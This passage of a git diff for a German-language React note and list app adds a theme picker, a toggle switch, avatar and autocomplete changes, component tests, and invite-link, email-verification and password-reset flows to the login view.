const preview = AVAILABLE_THEMES.find((t) => t.id === (mode === 'light' ? f.light : f.dark));
|
||||||
|
const selected = active?.family === f.id;
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={f.id}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={selected}
|
||||||
|
onClick={() => pick(mode === 'light' ? f.light : f.dark)}
|
||||||
|
title={f.name}
|
||||||
|
className={`${dot} rounded-full flex items-center justify-center transition-transform active:scale-95 cursor-pointer ${
|
||||||
|
selected ? 'ring-2 ring-accent ring-offset-2 ring-offset-panel' : 'hover:scale-105'
|
||||||
|
}`}
|
||||||
|
style={{ backgroundColor: preview?.previewBg }}
|
||||||
|
>
|
||||||
|
<span className="w-3 h-3 rounded-full" style={{ backgroundColor: preview?.previewAccent }} />
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{/* Own row: three labelled segments, so it fits narrow menus */}
|
||||||
|
<div className="grid grid-cols-3 rounded-full bg-panel-elevated p-0.5" role="radiogroup" aria-label="Hell oder dunkel">
|
||||||
|
{(['light', 'dark', 'auto'] as const).map((m) => {
|
||||||
|
const family = active?.family ? THEME_FAMILIES.find((f) => f.id === active.family) : undefined;
|
||||||
|
const selected = m === 'auto' ? followSystem : !followSystem && !!active && mode === m;
|
||||||
|
const disabled = !family;
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={m}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={selected}
|
||||||
|
disabled={disabled}
|
||||||
|
onClick={() => {
|
||||||
|
if (!family) return;
|
||||||
|
setFollowSystem(m === 'auto');
|
||||||
|
setFollow(m === 'auto');
|
||||||
|
onChange(m === 'auto' ? resolveTheme(family.dark) : family[m]);
|
||||||
|
}}
|
||||||
|
title={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
|
||||||
|
aria-label={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
|
||||||
|
className={`${touch ? 'h-9' : 'h-7'} rounded-full flex items-center justify-center gap-1 text-[11px] font-medium transition-colors cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed ${
|
||||||
|
selected ? 'bg-panel text-accent shadow-sm' : 'text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{m === 'light' ? (
|
||||||
|
<Sun className="w-3.5 h-3.5" />
|
||||||
|
) : m === 'dark' ? (
|
||||||
|
<Moon className="w-3.5 h-3.5" />
|
||||||
|
) : (
|
||||||
|
<Monitor className="w-3.5 h-3.5" />
|
||||||
|
)}
|
||||||
|
<span>{m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'System'}</span>
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
{customThemes.length > 0 && (
|
||||||
|
<div className="flex flex-wrap gap-1">
|
||||||
|
{customThemes.map((t) => (
|
||||||
|
<button
|
||||||
|
key={t.id}
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setFollowSystem(false);
|
||||||
|
setFollow(false);
|
||||||
|
onChange(t.id);
|
||||||
|
}}
|
||||||
|
className={`h-7 px-2 rounded-full text-[11px] flex items-center gap-1.5 border transition-colors cursor-pointer ${
|
||||||
|
activeTheme === t.id ? 'border-accent text-main' : 'border-border text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className="w-2.5 h-2.5 rounded-full" style={{ backgroundColor: t.previewAccent }} />
|
||||||
|
<span className="truncate max-w-[8rem]">{t.name}</span>
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import React from 'react';
|
||||||
|
|
||||||
|
interface ToggleSwitchProps {
|
||||||
|
checked: boolean;
|
||||||
|
onChange: (checked: boolean) => void;
|
||||||
|
title?: string;
|
||||||
|
disabled?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
// On/off switch for settings; used instead of checkboxes (Doku/ui-patterns.md)
|
||||||
|
export const ToggleSwitch: React.FC<ToggleSwitchProps> = ({ checked, onChange, title, disabled = false }) => (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
role="switch"
|
||||||
|
aria-checked={checked}
|
||||||
|
disabled={disabled}
|
||||||
|
onClick={() => onChange(!checked)}
|
||||||
|
className={`relative inline-flex h-6 w-11 flex-shrink-0 cursor-pointer rounded-pill border-2 border-transparent transition-colors duration-200 ease-in-out focus:outline-none disabled:opacity-50 disabled:cursor-default ${
|
||||||
|
checked ? 'bg-accent' : 'bg-panel-elevated border border-border'
|
||||||
|
}`}
|
||||||
|
title={title}
|
||||||
|
>
|
||||||
|
<span
|
||||||
|
aria-hidden="true"
|
||||||
|
className={`pointer-events-none inline-block h-5 w-5 transform rounded-pill bg-white shadow-md ring-0 transition duration-200 ease-in-out ${
|
||||||
|
checked ? 'translate-x-5' : 'translate-x-0'
|
||||||
|
}`}
|
||||||
|
/>
|
||||||
|
</button>
|
||||||
|
);
|
||||||
@@ -11,6 +11,7 @@ import {
|
|||||||
import { User, Team, UnifiedShare } from '../lib/types';
|
import { User, Team, UnifiedShare } from '../lib/types';
|
||||||
import { UserAutocomplete } from '../features/UserAutocomplete';
|
import { UserAutocomplete } from '../features/UserAutocomplete';
|
||||||
import { UserAvatar } from './UserAvatar';
|
import { UserAvatar } from './UserAvatar';
|
||||||
|
import { isSharingDisabled } from '../lib/api';
|
||||||
|
|
||||||
export interface UnifiedShareModalProps {
|
export interface UnifiedShareModalProps {
|
||||||
isOpen: boolean;
|
isOpen: boolean;
|
||||||
@@ -147,7 +148,11 @@ export const UnifiedShareModal: React.FC<UnifiedShareModalProps> = ({
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Add Share Section (Only if owner / manager) */}
|
{/* Add Share Section (Only if owner / manager) */}
|
||||||
{isOwner ? (
|
{isSharingDisabled() ? (
|
||||||
|
<div className="p-3 bg-panel-elevated border border-border rounded-card text-xs text-muted">
|
||||||
|
Teilen ist auf diesem Server deaktiviert (Sichtbarkeits-Modus „Privat“).
|
||||||
|
</div>
|
||||||
|
) : isOwner ? (
|
||||||
<form onSubmit={handleAdd} className="space-y-3 p-3 bg-panel-elevated border border-border rounded-card">
|
<form onSubmit={handleAdd} className="space-y-3 p-3 bg-panel-elevated border border-border rounded-card">
|
||||||
<div className="flex items-center justify-between gap-2">
|
<div className="flex items-center justify-between gap-2">
|
||||||
<span className="text-xs font-semibold text-main">Freigabe hinzufügen:</span>
|
<span className="text-xs font-semibold text-main">Freigabe hinzufügen:</span>
|
||||||
|
|||||||
@@ -8,12 +8,14 @@ export interface UserAvatarProps {
|
|||||||
} | null;
|
} | null;
|
||||||
name?: string;
|
name?: string;
|
||||||
avatarUrl?: string;
|
avatarUrl?: string;
|
||||||
size?: 'xs' | 'sm' | 'md' | 'lg' | 'xl';
|
size?: 'xxs' | 'xs' | 'sm' | 'md' | 'lg' | 'xl';
|
||||||
className?: string;
|
className?: string;
|
||||||
alt?: string;
|
alt?: string;
|
||||||
|
showTitle?: boolean; // native name tooltip on hover
|
||||||
}
|
}
|
||||||
|
|
||||||
const SIZE_MAP = {
|
const SIZE_MAP = {
|
||||||
|
xxs: 'w-4 h-4 text-[7px]',
|
||||||
xs: 'w-5 h-5 text-[10px]',
|
xs: 'w-5 h-5 text-[10px]',
|
||||||
sm: 'w-7 h-7 text-xs',
|
sm: 'w-7 h-7 text-xs',
|
||||||
md: 'w-9 h-9 text-sm',
|
md: 'w-9 h-9 text-sm',
|
||||||
@@ -68,6 +70,7 @@ export const UserAvatar: React.FC<UserAvatarProps> = ({
|
|||||||
size = 'md',
|
size = 'md',
|
||||||
className = '',
|
className = '',
|
||||||
alt,
|
alt,
|
||||||
|
showTitle = true,
|
||||||
}) => {
|
}) => {
|
||||||
const [imageError, setImageError] = useState(false);
|
const [imageError, setImageError] = useState(false);
|
||||||
|
|
||||||
@@ -94,7 +97,7 @@ export const UserAvatar: React.FC<UserAvatarProps> = ({
|
|||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
className={`inline-flex items-center justify-center rounded-full aspect-square shrink-0 select-none overflow-hidden font-semibold transition-all ${sizeClass} ${className}`}
|
className={`inline-flex items-center justify-center rounded-full aspect-square shrink-0 select-none overflow-hidden font-semibold transition-all ${sizeClass} ${className}`}
|
||||||
title={effectiveName || alt}
|
title={showTitle ? effectiveName || alt : undefined}
|
||||||
>
|
>
|
||||||
{hasImage ? (
|
{hasImage ? (
|
||||||
<img
|
<img
|
||||||
|
|||||||
@@ -0,0 +1,58 @@
|
|||||||
|
import React, { useEffect, useRef } from 'react';
|
||||||
|
|
||||||
|
interface VoiceWaveProps {
|
||||||
|
/** Input level 0..1; null (unknown, e.g. browser recognition) shows a calm idle wave. */
|
||||||
|
getLevel: () => number | null;
|
||||||
|
bars?: number;
|
||||||
|
/** Bar colour and size come from the caller, e.g. "h-4 text-accent". */
|
||||||
|
className?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Live wave reacting to the voice. Heights are set directly on the bars every frame, so React does
|
||||||
|
// not re-render 60 times a second.
|
||||||
|
export const VoiceWave: React.FC<VoiceWaveProps> = ({ getLevel, bars = 5, className = 'h-4 text-accent' }) => {
|
||||||
|
const barRefs = useRef<(HTMLSpanElement | null)[]>([]);
|
||||||
|
const getLevelRef = useRef(getLevel);
|
||||||
|
getLevelRef.current = getLevel;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const history: number[] = new Array(bars).fill(0);
|
||||||
|
let frame = 0;
|
||||||
|
let raf = 0;
|
||||||
|
const reduceMotion = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches;
|
||||||
|
const tick = () => {
|
||||||
|
frame++;
|
||||||
|
const measured = getLevelRef.current();
|
||||||
|
const level = measured ?? 0.25 + 0.2 * Math.sin(frame / 9);
|
||||||
|
// Newest level enters in the middle and travels outwards
|
||||||
|
if (frame % 3 === 0) {
|
||||||
|
history.pop();
|
||||||
|
history.unshift(level);
|
||||||
|
}
|
||||||
|
const mid = Math.floor(bars / 2);
|
||||||
|
barRefs.current.forEach((el, i) => {
|
||||||
|
if (!el) return;
|
||||||
|
const v = reduceMotion ? 0.5 : history[Math.abs(i - mid)] ?? 0;
|
||||||
|
el.style.transform = `scaleY(${Math.max(0.15, Math.min(1, v * 1.4))})`;
|
||||||
|
});
|
||||||
|
raf = requestAnimationFrame(tick);
|
||||||
|
};
|
||||||
|
raf = requestAnimationFrame(tick);
|
||||||
|
return () => cancelAnimationFrame(raf);
|
||||||
|
}, [bars]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<span className={`inline-flex items-center gap-[3px] ${className}`} aria-hidden="true">
|
||||||
|
{Array.from({ length: bars }, (_, i) => (
|
||||||
|
<span
|
||||||
|
key={i}
|
||||||
|
ref={(el) => {
|
||||||
|
barRefs.current[i] = el;
|
||||||
|
}}
|
||||||
|
className="w-[3px] h-full rounded-full bg-current origin-center transition-transform duration-75"
|
||||||
|
style={{ transform: 'scaleY(0.15)' }}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { render } from '@testing-library/react';
|
||||||
|
import { AvatarStack } from '../AvatarStack';
|
||||||
|
|
||||||
|
const people = ['Anna', 'Ben', 'Carla', 'Dana', 'Emil'].map((name, i) => ({ id: `u${i}`, name }));
|
||||||
|
|
||||||
|
describe('AvatarStack (who a list or note is shared with)', () => {
|
||||||
|
it('shows at most three people and the rest as +n', () => {
|
||||||
|
const { container } = render(<AvatarStack people={people} />);
|
||||||
|
expect(container.textContent).toContain('+2');
|
||||||
|
expect(container.firstElementChild?.children.length).toBe(4); // 3 avatars + overflow circle
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders nothing for an unshared item', () => {
|
||||||
|
expect(render(<AvatarStack people={[]} />).container.firstChild).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('needs no overflow circle when everyone fits', () => {
|
||||||
|
const { container } = render(<AvatarStack people={people.slice(0, 2)} />);
|
||||||
|
expect(container.textContent).not.toContain('+');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { render } from '@testing-library/react';
|
||||||
|
import { CountBadge } from '../CountBadge';
|
||||||
|
|
||||||
|
describe('CountBadge', () => {
|
||||||
|
it('hides itself at zero unless asked', () => {
|
||||||
|
expect(render(<CountBadge count={0} />).container.firstChild).toBeNull();
|
||||||
|
expect(render(<CountBadge count={undefined} />).container.firstChild).toBeNull();
|
||||||
|
expect(render(<CountBadge count={0} showZero />).container.textContent).toBe('0');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('caps large numbers and keeps the real value for screen readers', () => {
|
||||||
|
const el = render(<CountBadge count={150} />).container.firstChild as HTMLElement;
|
||||||
|
expect(el.textContent).toBe('99+');
|
||||||
|
expect(el.getAttribute('aria-label')).toBe('150');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('maps variant and position to the shared classes', () => {
|
||||||
|
const el = render(<CountBadge count={3} variant="accent" position="corner" />).container.firstChild as HTMLElement;
|
||||||
|
expect(el.className).toContain('count-badge-accent');
|
||||||
|
expect(el.className).toContain('count-badge-corner');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||||
|
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||||
|
import { SharedImportToast } from '../SharedImportToast';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { SharedList } from '../../lib/types';
|
||||||
|
|
||||||
|
const list = (id: string, title: string, role: string, isOwner = false): SharedList => ({
|
||||||
|
id, title, icon: '🛒', listType: 'shopping', isOwner, role, items: [],
|
||||||
|
createdAt: '2026-10-31T10:00:00Z', updatedAt: '2026-10-31T10:00:00Z',
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('SharedImportToast (after sharing into MindSift)', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.restoreAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('sends every shared entry on as a task', async () => {
|
||||||
|
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
|
||||||
|
const onConverted = vi.fn();
|
||||||
|
render(<SharedImportToast thoughtIds={['th_1', 'th_2']} lists={[]} onClose={() => {}} onConverted={onConverted} />);
|
||||||
|
expect(screen.getByText('2 Einträge im Quick Dump abgelegt')).toBeTruthy();
|
||||||
|
expect(screen.queryByText('Liste')).toBeNull(); // no writable list, no list button
|
||||||
|
fireEvent.click(screen.getByText('Aufgabe'));
|
||||||
|
await waitFor(() => expect(onConverted).toHaveBeenCalledWith('2 Aufgaben angelegt'));
|
||||||
|
expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'task', targetListId: undefined });
|
||||||
|
expect(spy).toHaveBeenCalledWith('th_2', 'keep', { convertTo: 'task', targetListId: undefined });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('puts it straight onto the only writable list', async () => {
|
||||||
|
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
|
||||||
|
const onConverted = vi.fn();
|
||||||
|
render(
|
||||||
|
<SharedImportToast
|
||||||
|
thoughtIds={['th_1']}
|
||||||
|
lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'WG-Archiv', 'viewer')]}
|
||||||
|
onClose={() => {}}
|
||||||
|
onConverted={onConverted}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
fireEvent.click(screen.getByText('Liste'));
|
||||||
|
await waitFor(() => expect(onConverted).toHaveBeenCalledWith('Eintrag auf „Wocheneinkauf“'));
|
||||||
|
expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l1' });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('lets you pick among several lists, read-only ones left out', async () => {
|
||||||
|
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
|
||||||
|
render(
|
||||||
|
<SharedImportToast
|
||||||
|
thoughtIds={['th_1']}
|
||||||
|
lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'Baumarkt', 'editor'), list('l3', 'WG-Archiv', 'viewer')]}
|
||||||
|
onClose={() => {}}
|
||||||
|
onConverted={() => {}}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
fireEvent.click(screen.getByText('Liste'));
|
||||||
|
expect(screen.queryByText('WG-Archiv')).toBeNull();
|
||||||
|
fireEvent.click(screen.getByText('Baumarkt'));
|
||||||
|
await waitFor(() => expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l2' }));
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -3,6 +3,10 @@ import { Search, X, Check } from 'lucide-react';
|
|||||||
import { User } from '../lib/types';
|
import { User } from '../lib/types';
|
||||||
import { UserAvatar } from '../components/UserAvatar';
|
import { UserAvatar } from '../components/UserAvatar';
|
||||||
|
|
||||||
|
// Shared type-to-search for picking people (sharing, groups, task assignees). Nothing is listed until
|
||||||
|
// something is typed, then at most MAX_RESULTS matches appear below the field. See Doku/ui-patterns.md.
|
||||||
|
const MAX_RESULTS = 3;
|
||||||
|
|
||||||
interface UserAutocompleteProps {
|
interface UserAutocompleteProps {
|
||||||
users: User[];
|
users: User[];
|
||||||
selectedUser: User | null;
|
selectedUser: User | null;
|
||||||
@@ -42,10 +46,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
// Filter users based on query and exclusions
|
// Filter users based on query and exclusions
|
||||||
const filteredUsers = React.useMemo(() => {
|
const filteredUsers = React.useMemo(() => {
|
||||||
const q = query.trim().toLowerCase();
|
const q = query.trim().toLowerCase();
|
||||||
|
if (!q) return [];
|
||||||
const available = users.filter((u) => !excludeUserIds.includes(u.id));
|
const available = users.filter((u) => !excludeUserIds.includes(u.id));
|
||||||
if (!q) {
|
|
||||||
return available.slice(0, 15);
|
|
||||||
}
|
|
||||||
return available
|
return available
|
||||||
.filter((u) => {
|
.filter((u) => {
|
||||||
const nameMatch = (u.displayName || '').toLowerCase().includes(q);
|
const nameMatch = (u.displayName || '').toLowerCase().includes(q);
|
||||||
@@ -53,8 +55,9 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
const userMatch = (u.username || '').toLowerCase().includes(q);
|
const userMatch = (u.username || '').toLowerCase().includes(q);
|
||||||
return nameMatch || emailMatch || userMatch;
|
return nameMatch || emailMatch || userMatch;
|
||||||
})
|
})
|
||||||
.slice(0, 15);
|
.slice(0, MAX_RESULTS);
|
||||||
}, [users, query, excludeUserIds]);
|
}, [users, query, excludeUserIds]);
|
||||||
|
const showResults = isOpen && query.trim() !== '';
|
||||||
|
|
||||||
const handleSelect = (user: User) => {
|
const handleSelect = (user: User) => {
|
||||||
onSelectUser(user);
|
onSelectUser(user);
|
||||||
@@ -70,8 +73,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
};
|
};
|
||||||
|
|
||||||
const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||||
if (!isOpen) {
|
if (!showResults) {
|
||||||
if (e.key === 'ArrowDown' || e.key === 'Enter') {
|
if (e.key === 'ArrowDown') {
|
||||||
setIsOpen(true);
|
setIsOpen(true);
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
@@ -139,7 +142,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
onChange={(e) => {
|
onChange={(e) => {
|
||||||
setQuery(e.target.value);
|
setQuery(e.target.value);
|
||||||
setIsOpen(true);
|
setIsOpen(true);
|
||||||
setHighlightedIndex(-1);
|
// First match is preselected so Enter picks it right away
|
||||||
|
setHighlightedIndex(0);
|
||||||
}}
|
}}
|
||||||
onFocus={() => setIsOpen(true)}
|
onFocus={() => setIsOpen(true)}
|
||||||
onKeyDown={handleKeyDown}
|
onKeyDown={handleKeyDown}
|
||||||
@@ -147,8 +151,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
className="w-full h-8 pl-8 pr-2.5 bg-input text-main border border-border rounded-btn focus:outline-none focus:border-accent text-xs placeholder:text-muted transition-colors disabled:opacity-50"
|
className="w-full h-8 pl-8 pr-2.5 bg-input text-main border border-border rounded-btn focus:outline-none focus:border-accent text-xs placeholder:text-muted transition-colors disabled:opacity-50"
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{isOpen && (
|
{showResults && (
|
||||||
<div className="absolute top-full left-0 right-0 z-50 mt-1 max-h-56 overflow-y-auto bg-panel border border-border rounded-card shadow-panel py-1 space-y-0.5">
|
<div className="absolute top-full left-0 right-0 z-50 mt-1 bg-panel border border-border rounded-card shadow-panel py-1 space-y-0.5">
|
||||||
{filteredUsers.length === 0 ? (
|
{filteredUsers.length === 0 ? (
|
||||||
<div className="p-3 text-xs text-muted text-center">
|
<div className="p-3 text-xs text-muted text-center">
|
||||||
Kein passender Benutzer gefunden
|
Kein passender Benutzer gefunden
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import React, { useState } from 'react';
|
import React, { useEffect, useState } from 'react';
|
||||||
import {
|
import {
|
||||||
Brain,
|
Brain,
|
||||||
Shield,
|
Shield,
|
||||||
@@ -11,17 +11,26 @@ import {
|
|||||||
Check,
|
Check,
|
||||||
AlertCircle,
|
AlertCircle,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { AuthStatus, User } from '../../lib/types';
|
import { AuthStatus, SharingMode, User } from '../../lib/types';
|
||||||
import { api, triggerHaptic } from '../../lib/api';
|
import { api, triggerHaptic } from '../../lib/api';
|
||||||
|
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||||
|
import { LegalLinks } from '../../components/LegalLinks';
|
||||||
|
import { passwordProblem } from '../../lib/password';
|
||||||
|
|
||||||
interface SetupAndAuthViewProps {
|
interface SetupAndAuthViewProps {
|
||||||
authStatus: AuthStatus;
|
authStatus: AuthStatus;
|
||||||
onAuthenticated: (user: User) => void;
|
onAuthenticated: (user: User) => void;
|
||||||
|
resetToken?: string | null;
|
||||||
|
onResetDone?: () => void;
|
||||||
|
onResetCancel?: () => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||||
authStatus,
|
authStatus,
|
||||||
onAuthenticated,
|
onAuthenticated,
|
||||||
|
resetToken,
|
||||||
|
onResetDone,
|
||||||
|
onResetCancel,
|
||||||
}) => {
|
}) => {
|
||||||
// --- Setup Wizard State ---
|
// --- Setup Wizard State ---
|
||||||
const [setupName, setSetupName] = useState('');
|
const [setupName, setSetupName] = useState('');
|
||||||
@@ -29,26 +38,138 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
const [setupPassword, setSetupPassword] = useState('');
|
const [setupPassword, setSetupPassword] = useState('');
|
||||||
const [setupPasswordConfirm, setSetupPasswordConfirm] = useState('');
|
const [setupPasswordConfirm, setSetupPasswordConfirm] = useState('');
|
||||||
const [instanceName, setInstanceName] = useState(authStatus.instanceName || 'MindSift');
|
const [instanceName, setInstanceName] = useState(authStatus.instanceName || 'MindSift');
|
||||||
const [sharingMode, setSharingMode] = useState<'open' | 'teams_only' | 'strict_private'>(
|
const [sharingMode, setSharingMode] = useState<SharingMode>('organizations');
|
||||||
'teams_only'
|
|
||||||
);
|
|
||||||
const [allowRegistration, setAllowRegistration] = useState(false);
|
const [allowRegistration, setAllowRegistration] = useState(false);
|
||||||
const [createSampleData, setCreateSampleData] = useState(false);
|
const [createSampleData, setCreateSampleData] = useState(false);
|
||||||
|
|
||||||
// --- Login / Invite / Register State ---
|
// --- Login / Invite / Register State ---
|
||||||
const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register'>('login');
|
// An invite link (?invite=CODE) opens the invite form with the code filled in
|
||||||
|
const [linkInviteCode] = useState(() => new URLSearchParams(window.location.search).get('invite')?.trim().toUpperCase() || '');
|
||||||
|
const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register' | 'forgot' | 'reset'>(
|
||||||
|
resetToken ? 'reset' : linkInviteCode ? 'invite' : 'login'
|
||||||
|
);
|
||||||
const [email, setEmail] = useState('');
|
const [email, setEmail] = useState('');
|
||||||
const [password, setPassword] = useState('');
|
const [password, setPassword] = useState('');
|
||||||
const [displayName, setDisplayName] = useState('');
|
const [displayName, setDisplayName] = useState('');
|
||||||
const [inviteCode, setInviteCode] = useState('');
|
const [inviteCode, setInviteCode] = useState(linkInviteCode);
|
||||||
|
// Link from the confirmation mail (?verifyToken=…): confirm right away and say what happens next
|
||||||
|
useEffect(() => {
|
||||||
|
const url = new URL(window.location.href);
|
||||||
|
const token = url.searchParams.get('verifyToken');
|
||||||
|
if (!token) return;
|
||||||
|
url.searchParams.delete('verifyToken');
|
||||||
|
window.history.replaceState({}, '', url.pathname + url.search + url.hash);
|
||||||
|
setAuthTab('login');
|
||||||
|
api
|
||||||
|
.verifyEmail(token)
|
||||||
|
.then((res) => setNotice(res.message))
|
||||||
|
.catch((err) => setError(err.message || 'Der Bestätigungslink ist ungültig oder abgelaufen.'));
|
||||||
|
}, []);
|
||||||
|
// Login refused because the address is not confirmed: offer to send the link again
|
||||||
|
const [resendState, setResendState] = useState<'idle' | 'sending' | 'sent'>('idle');
|
||||||
|
const resendVerification = async () => {
|
||||||
|
setResendState('sending');
|
||||||
|
try {
|
||||||
|
await api.resendVerification(email.trim());
|
||||||
|
setResendState('sent');
|
||||||
|
setError(null);
|
||||||
|
setNotice('Falls die Adresse noch auf Bestätigung wartet, haben wir dir den Link erneut geschickt.');
|
||||||
|
} catch (err: any) {
|
||||||
|
setResendState('idle');
|
||||||
|
setError(err.message || 'Senden fehlgeschlagen');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// The code is in the form now; it should not stay in the address bar (history, screenshots)
|
||||||
|
useEffect(() => {
|
||||||
|
if (!linkInviteCode) return;
|
||||||
|
const url = new URL(window.location.href);
|
||||||
|
url.searchParams.delete('invite');
|
||||||
|
window.history.replaceState({}, '', url.pathname + url.search + url.hash);
|
||||||
|
}, [linkInviteCode]);
|
||||||
|
// Hint on the sign-up form: which addresses get in, and whether an admin approves first
|
||||||
|
const registrationHint = (() => {
|
||||||
|
const domains = (authStatus.registrationDomains || []).map((d) => '@' + d.replace(/^\*\./, '')).join(', ');
|
||||||
|
switch (authStatus.registrationMode) {
|
||||||
|
case 'approval':
|
||||||
|
return 'Nach der Registrierung gibt ein Administrator dein Konto frei.';
|
||||||
|
case 'open':
|
||||||
|
return authStatus.emailVerification ? 'Du bekommst eine E-Mail, um deine Adresse zu bestätigen.' : '';
|
||||||
|
case 'domain':
|
||||||
|
return domains ? `Registrierung mit E-Mail-Adressen von ${domains}.` : '';
|
||||||
|
case 'domain+approval':
|
||||||
|
return domains
|
||||||
|
? `Mit Adressen von ${domains} geht es sofort, andere Konten gibt ein Administrator frei.`
|
||||||
|
: 'Nach der Registrierung gibt ein Administrator dein Konto frei.';
|
||||||
|
}
|
||||||
|
return '';
|
||||||
|
})();
|
||||||
|
const registrationHintFull =
|
||||||
|
registrationHint && authStatus.emailVerification && authStatus.registrationMode !== 'open'
|
||||||
|
? `${registrationHint} Vorher bestätigst du deine Adresse per E-Mail.`
|
||||||
|
: registrationHint;
|
||||||
|
|
||||||
const [submitting, setSubmitting] = useState(false);
|
const [submitting, setSubmitting] = useState(false);
|
||||||
const [error, setError] = useState<string | null>(null);
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const [notice, setNotice] = useState<string | null>(null);
|
||||||
|
const [newPassword, setNewPassword] = useState('');
|
||||||
|
const [newPasswordConfirm, setNewPasswordConfirm] = useState('');
|
||||||
|
|
||||||
|
const handleForgotPassword = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setError(null);
|
||||||
|
setSubmitting(true);
|
||||||
|
try {
|
||||||
|
await api.requestPasswordReset(email.trim());
|
||||||
|
setNotice('Falls ein Konto mit dieser E-Mail-Adresse existiert, haben wir dir einen Link zum Zurücksetzen geschickt. Er gilt eine Stunde.');
|
||||||
|
setAuthTab('login');
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Anfrage fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setSubmitting(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleResetPassword = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setError(null);
|
||||||
|
const resetProblem = passwordProblem(newPassword);
|
||||||
|
if (resetProblem) {
|
||||||
|
setError(resetProblem);
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (newPassword !== newPasswordConfirm) {
|
||||||
|
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setSubmitting(true);
|
||||||
|
try {
|
||||||
|
await api.resetPassword(resetToken || '', newPassword);
